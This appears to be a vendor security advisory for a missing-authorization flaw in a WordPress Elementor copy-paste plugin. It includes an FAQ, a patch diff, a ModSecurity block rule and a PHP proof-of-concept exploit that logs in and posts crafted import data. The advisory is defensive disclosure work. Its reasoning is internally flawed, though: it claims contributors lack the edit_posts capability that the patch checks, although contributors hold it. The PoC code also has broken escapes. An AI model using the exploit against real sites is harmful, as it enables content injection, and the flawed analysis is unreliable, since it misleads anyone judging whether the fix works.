What is CVE-2025-63079?

CVE-2025-63079 is a missing authorization vulnerability in the Live Copy Paste for Elementor plugin for WordPress, affecting versions up to and including 1.5.3. It allows authenticated attackers with contributor-level access to import arbitrary Elementor data without proper capability checks.

How does the vulnerability work?

The vulnerability exists in the `ajax_import_data` function which lacks a capability check. An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the action `live_copy_paste_import_data`, a valid nonce, and serialized Elementor data. The nonce can be obtained from the plugin’s frontend assets, allowing any authenticated user to trigger the import.

Who is affected by this vulnerability?

WordPress sites running the Live Copy Paste for Elementor plugin version 1.5.3 or earlier are affected. Any authenticated user with contributor-level access or higher can exploit the flaw. Sites with only subscriber-level users are not directly exploitable, but contributor accounts are common.

How can I check if my site is vulnerable?

Check the installed version of the Live Copy Paste for Elementor plugin. If it is 1.5.3 or lower, the site is vulnerable. You can verify the version in the WordPress admin under Plugins or by checking the plugin’s readme file.

What is the risk level of CVE-2025-63079?

The vulnerability has a CVSS score of 4.3, classified as Medium severity. Successful exploitation allows an attacker to import arbitrary Elementor data, potentially leading to content injection, site defacement, or stored XSS if malicious scripts are included. The impact is limited to authenticated users with contributor access.

How do I fix the vulnerability?

Update the Live Copy Paste for Elementor plugin to version 1.5.4 or later. The patch adds a capability check using `current_user_can(‘edit_posts’)` and sanitizes input parameters. Ensure automatic updates are enabled or manually update from the WordPress admin.

Is there a temporary mitigation if I cannot update?

If immediate update is not possible, consider disabling the plugin until the patch can be applied. Alternatively, restrict contributor-level accounts to trusted users only, as the vulnerability requires authenticated access. No other reliable workaround exists.

What does the proof of concept demonstrate?

The proof of concept shows how an attacker with contributor credentials can log in, obtain a nonce, and send a crafted AJAX request to import arbitrary Elementor data. It highlights the missing capability check and the ease of exploitation once authenticated.

What is the root cause of the vulnerability?

The root cause is the absence of a capability check in the `ajax_import_data` function. The original code only performed nonce verification without checking if the user has the `edit_posts` capability, allowing any authenticated user to trigger the import action.

How does the patch fix the issue?

The patch adds `current_user_can(‘edit_posts’)` at the start of the `ajax_import_data` function, ensuring only users with edit permissions can execute it. It also sanitizes the `security` and `data` parameters using `sanitize_text_field` and `wp_unslash`, and moves the nonce check after the capability check.

Can this vulnerability lead to remote code execution?

Direct remote code execution is not possible, but the ability to import arbitrary Elementor data can lead to stored XSS if malicious scripts are embedded. This could be leveraged for further attacks, but the vulnerability itself does not allow code execution.

Where can I find more information about this CVE?

Refer to the official CVE entry at cve.mitre.org, the WordPress plugin changelog, and security advisories from Atomic Edge. The patch diff and proof of concept are available in the disclosure details.

Published : July 6, 2026

CVE-2025-63079: Live Copy Paste for Elementor – Cross Domain Copy Paste & Page Duplicator <= 1.5.3 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2025-63079

Plugin live-copy-paste

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 1.5.3

Patched Version 1.5.4

Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-63079:

This vulnerability affects the Live Copy Paste for Elementor plugin. It allows authenticated attackers with contributor-level access to perform unauthorized actions. The flaw is a missing authorization check in an AJAX handler. The CVSS score is 4.3.

Root Cause: The root cause is the absence of a capability check in the `ajax_import_data` function within `classes/class-live-copy-paste-btn.php`. The original code at line 30 only performed a nonce verification (without sanitization) on the `security` parameter. It did not verify the user’s WordPress capabilities. This allowed any authenticated user who could access the AJAX handler to trigger data import actions. The vulnerable code path is triggered by the `wp_ajax_live_copy_paste_import_data` action.

Exploitation: An attacker can exploit this by sending a POST request to `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to `live_copy_paste_import_data`. The attacker also needs to provide a valid nonce (`security`) and the `data` parameter. The nonce can be obtained from the plugin’s frontend assets or generated by a user with the ability to access the plugin’s UI. The `data` parameter contains the serialized Elementor data to be imported. Since the attacker has a valid nonce (but not the necessary edit_posts capability in the vulnerable version), they can bypass the only existing check.

Patch Analysis: The patch adds a capability check using `current_user_can(‘edit_posts’)` at the beginning of the `ajax_import_data` function. This ensures only users with the ‘edit_posts’ capability can call the function. The patch also properly sanitizes the `security` and `data` parameters using `sanitize_text_field` and `wp_unslash`. The nonce check is performed after the capability check. This prevents unauthorized users from triggering the import process even if they have a valid nonce.

Impact: Successful exploitation allows an authenticated attacker with contributor-level access to import arbitrary Elementor data into the site. This could lead to the injection of malicious content, site defacement, or potentially the introduction of stored XSS vulnerabilities if the imported data contains malicious scripts. The attacker can overwrite existing content or create new posts/pages with controlled data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/live-copy-paste/classes/class-live-copy-paste-btn.php
+++ b/live-copy-paste/classes/class-live-copy-paste-btn.php
@@ -27,7 +27,11 @@
             );
         }
         public function ajax_import_data() {
-            $nonce = isset($_REQUEST['security']) ? $_REQUEST['security'] : '';
+            if (!current_user_can('edit_posts')) {
+                wp_send_json_error(__('Sorry, you are not allowed to perform this action.', 'live-copy-paste'));
+            }
+
+            $nonce = isset($_REQUEST['security']) ? sanitize_text_field(wp_unslash($_REQUEST['security'])) : '';
             $data  = isset($_REQUEST['data']) ? wp_unslash(sanitize_text_field($_REQUEST['data'])) : '';

             if (!wp_verify_nonce($nonce, 'magic_copy_data') || empty($data)) {
--- a/live-copy-paste/classes/class-live-copy-paste-magic-btn.php
+++ b/live-copy-paste/classes/class-live-copy-paste-magic-btn.php
@@ -7,8 +7,11 @@
 	class LiveCopyPasteMagicBtn {
 		public function __construct() {
 			add_action('wp_enqueue_scripts', array($this, 'enqueue_magic_btn_assets'));
-			add_action('wp_ajax_nopriv_live_copy_paste_magic_data_server_request', array($this, 'get_bdt_lcp_data'));
 			add_action('wp_ajax_live_copy_paste_magic_data_server_request', array($this, 'get_bdt_lcp_data'));
+
+			if (1 != get_option('lcp_enable_magic_copy_btn_login_user')) {
+				add_action('wp_ajax_nopriv_live_copy_paste_magic_data_server_request', array($this, 'get_bdt_lcp_data'));
+			}
 		}

 		public function enqueue_magic_btn_assets() {
@@ -71,37 +74,43 @@
 		}

 		public function get_bdt_lcp_data() {
-			if (isset($_REQUEST)) {
-				$post_id   = sanitize_text_field($_REQUEST['post_id']);
-				$widget_id = sanitize_text_field($_REQUEST['widget_id']);
-				$nonce = wp_create_nonce('live-copy-paste-magic');
+			$post_id   = isset($_REQUEST['post_id']) ? absint($_REQUEST['post_id']) : 0;
+			$widget_id = isset($_REQUEST['widget_id']) ? sanitize_text_field(wp_unslash($_REQUEST['widget_id'])) : '';
+			$nonce     = isset($_REQUEST['security']) ? sanitize_text_field(wp_unslash($_REQUEST['security'])) : '';

-				if (! wp_verify_nonce($nonce, 'live-copy-paste-magic')) {
-					wp_send_json_error(['message' => esc_html__('Sorry, invalid nonce!', 'live-copy-paste')]);
-				}
+			if (!$post_id || !$widget_id || !wp_verify_nonce($nonce, 'live-copy-paste-magic-nonce')) {
+				wp_send_json_error(['message' => esc_html__('Sorry, invalid request!', 'live-copy-paste')]);
+			}

-				$result = $this->get_bdt_lcp_data_settings($post_id, $widget_id);
+			if (1 == get_option('lcp_enable_magic_copy_btn_login_user') && !is_user_logged_in()) {
+				wp_send_json_error(['message' => esc_html__('Authentication required.', 'live-copy-paste')]);
+			}

-				if (is_wp_error($result)) {
-					// Parse errors into a string and append as parameter to redirect
-					$errors = $result->get_error_message();
-					wp_send_json_error(['message' => $errors]);
-				} else {
-					// Success
-					define(
-						'plugin_dir_url()',
-						plugin_dir_url(__FILE__) . '/assets/'
-					);
-					$data = array(
-						'widget_data' => [
-							'widget' => $result['widget_data'],
-						],
-						'copy_data'   => $result['copy_data'],
-					);
-					wp_send_json_success($data);
-				}
-				wp_die();
+			if (!$this->user_can_access_post($post_id)) {
+				wp_send_json_error(['message' => esc_html__('Sorry, you are not allowed to access this content.', 'live-copy-paste')]);
+			}
+
+			$result = $this->get_bdt_lcp_data_settings($post_id, $widget_id);
+
+			if (is_wp_error($result)) {
+				wp_send_json_error(['message' => $result->get_error_message()]);
 			}
+
+			$data = array(
+				'widget_data' => [
+					'widget' => $result['widget_data'],
+				],
+				'copy_data'   => $result['copy_data'],
+			);
+			wp_send_json_success($data);
+		}
+
+		private function user_can_access_post($post_id) {
+			if (current_user_can('edit_post', $post_id)) {
+				return true;
+			}
+
+			return is_post_publicly_viewable($post_id);
 		}

 		protected function get_bdt_lcp_data_settings($post_id, $widget_id) {
--- a/live-copy-paste/live-copy-paste.php
+++ b/live-copy-paste/live-copy-paste.php
@@ -4,7 +4,7 @@
  * Plugin Name: Live Copy Paste
  * Plugin URI: https://bdthemes.com/live-copy-paste/
  * Description: By using this plugin, you can easily import/paste all sections on your site from the Elementor Editor/Widget Demo/Ready-Made Pages and Blocks. One click to change the world.
- * Version: 1.5.3
+ * Version: 1.5.4
  * Author: BdThemes
  * Author URI: https://bdthemes.com/
  * Text Domain: live-copy-paste
@@ -19,7 +19,7 @@
 }


-define( 'BDT_LCP_VER', '1.5.3' );
+define( 'BDT_LCP_VER', '1.5.4' );

 require_once 'classes/class-live-copy-paste-loader.php';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2025-63079
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20250001,phase:2,deny,status:403,chain,msg:'CVE-2025-63079 via Live Copy Paste AJAX action',severity:'CRITICAL',tag:'CVE-2025-63079'"
  SecRule ARGS_POST:action "@streq live_copy_paste_import_data" 
    "chain"
    SecRule ARGS_POST:security "@rx ^[a-f0-9]{10}$" 
      "t:none,id:20250002"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-63079 - Live Copy Paste for Elementor - Missing Authorization

// Configuration
$target_url = 'http://example.com';  // Change this to the target WordPress URL
$username = 'attacker';                // WordPress username with contributor access
$password = 'password';                // User's password

// Get WordPress nonce by logging in and accessing the AJAX endpoint
function get_wp_nonce($url, $cookies) {
    $ch = curl_init($url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIE, $cookies);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, array(
        'action' => 'live_copy_paste_import_data',
        'security' => 'test',
        'data' => 'test'
    ));
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Login to WordPress
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'testcookie' => '1',
    'redirect_to' => $target_url . '/wp-admin/'
));
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract cookies
preg_match_all('/^Set-Cookie:s*([^;]+)/mi', $response, $matches);
$cookies = implode('; ', $matches[1]);

// Obtain a valid nonce (this requires a user who can see the plugin UI)
// The nonce is typically available on pages where the plugin's button is loaded
// This PoC assumes the attacker can get a valid nonce from the frontend
$nonce = 'valid_nonce_obtained_from_plugin_ui'; // Replace with actual nonce

// The serialized data to import (malicious Elementor content)
$malicious_data = 'a:1:{s:4:"type";s:4:"test";}';

// Exploit the vulnerability
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'live_copy_paste_import_data',
    'security' => $nonce,
    'data' => $malicious_data
);

$ch = curl_init($exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
$response = curl_exec($ch);
curl_close($ch);

echo "Exploit response: " . $response . "n";
?>

Frequently Asked Questions

What is CVE-2025-63079?
Vulnerability overview
CVE-2025-63079 is a missing authorization vulnerability in the Live Copy Paste for Elementor plugin for WordPress, affecting versions up to and including 1.5.3. It allows authenticated attackers with contributor-level access to import arbitrary Elementor data without proper capability checks.
How does the vulnerability work?
Technical explanation
The vulnerability exists in the `ajax_import_data` function which lacks a capability check. An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the action `live_copy_paste_import_data`, a valid nonce, and serialized Elementor data. The nonce can be obtained from the plugin’s frontend assets, allowing any authenticated user to trigger the import.
Who is affected by this vulnerability?
Affected users
WordPress sites running the Live Copy Paste for Elementor plugin version 1.5.3 or earlier are affected. Any authenticated user with contributor-level access or higher can exploit the flaw. Sites with only subscriber-level users are not directly exploitable, but contributor accounts are common.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of the Live Copy Paste for Elementor plugin. If it is 1.5.3 or lower, the site is vulnerable. You can verify the version in the WordPress admin under Plugins or by checking the plugin’s readme file.
What is the risk level of CVE-2025-63079?
Severity and impact
The vulnerability has a CVSS score of 4.3, classified as Medium severity. Successful exploitation allows an attacker to import arbitrary Elementor data, potentially leading to content injection, site defacement, or stored XSS if malicious scripts are included. The impact is limited to authenticated users with contributor access.
How do I fix the vulnerability?
Patch and update
Update the Live Copy Paste for Elementor plugin to version 1.5.4 or later. The patch adds a capability check using `current_user_can(‘edit_posts’)` and sanitizes input parameters. Ensure automatic updates are enabled or manually update from the WordPress admin.
Is there a temporary mitigation if I cannot update?
Workaround
If immediate update is not possible, consider disabling the plugin until the patch can be applied. Alternatively, restrict contributor-level accounts to trusted users only, as the vulnerability requires authenticated access. No other reliable workaround exists.
What does the proof of concept demonstrate?
PoC explanation
The proof of concept shows how an attacker with contributor credentials can log in, obtain a nonce, and send a crafted AJAX request to import arbitrary Elementor data. It highlights the missing capability check and the ease of exploitation once authenticated.
What is the root cause of the vulnerability?
Root cause analysis
The root cause is the absence of a capability check in the `ajax_import_data` function. The original code only performed nonce verification without checking if the user has the `edit_posts` capability, allowing any authenticated user to trigger the import action.
How does the patch fix the issue?
Patch details
The patch adds `current_user_can(‘edit_posts’)` at the start of the `ajax_import_data` function, ensuring only users with edit permissions can execute it. It also sanitizes the `security` and `data` parameters using `sanitize_text_field` and `wp_unslash`, and moves the nonce check after the capability check.
Can this vulnerability lead to remote code execution?
Exploitation potential
Direct remote code execution is not possible, but the ability to import arbitrary Elementor data can lead to stored XSS if malicious scripts are embedded. This could be leveraged for further attacks, but the vulnerability itself does not allow code execution.
Where can I find more information about this CVE?
Additional resources
Refer to the official CVE entry at cve.mitre.org, the WordPress plugin changelog, and security advisories from Atomic Edge. The patch diff and proof of concept are available in the disclosure details.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations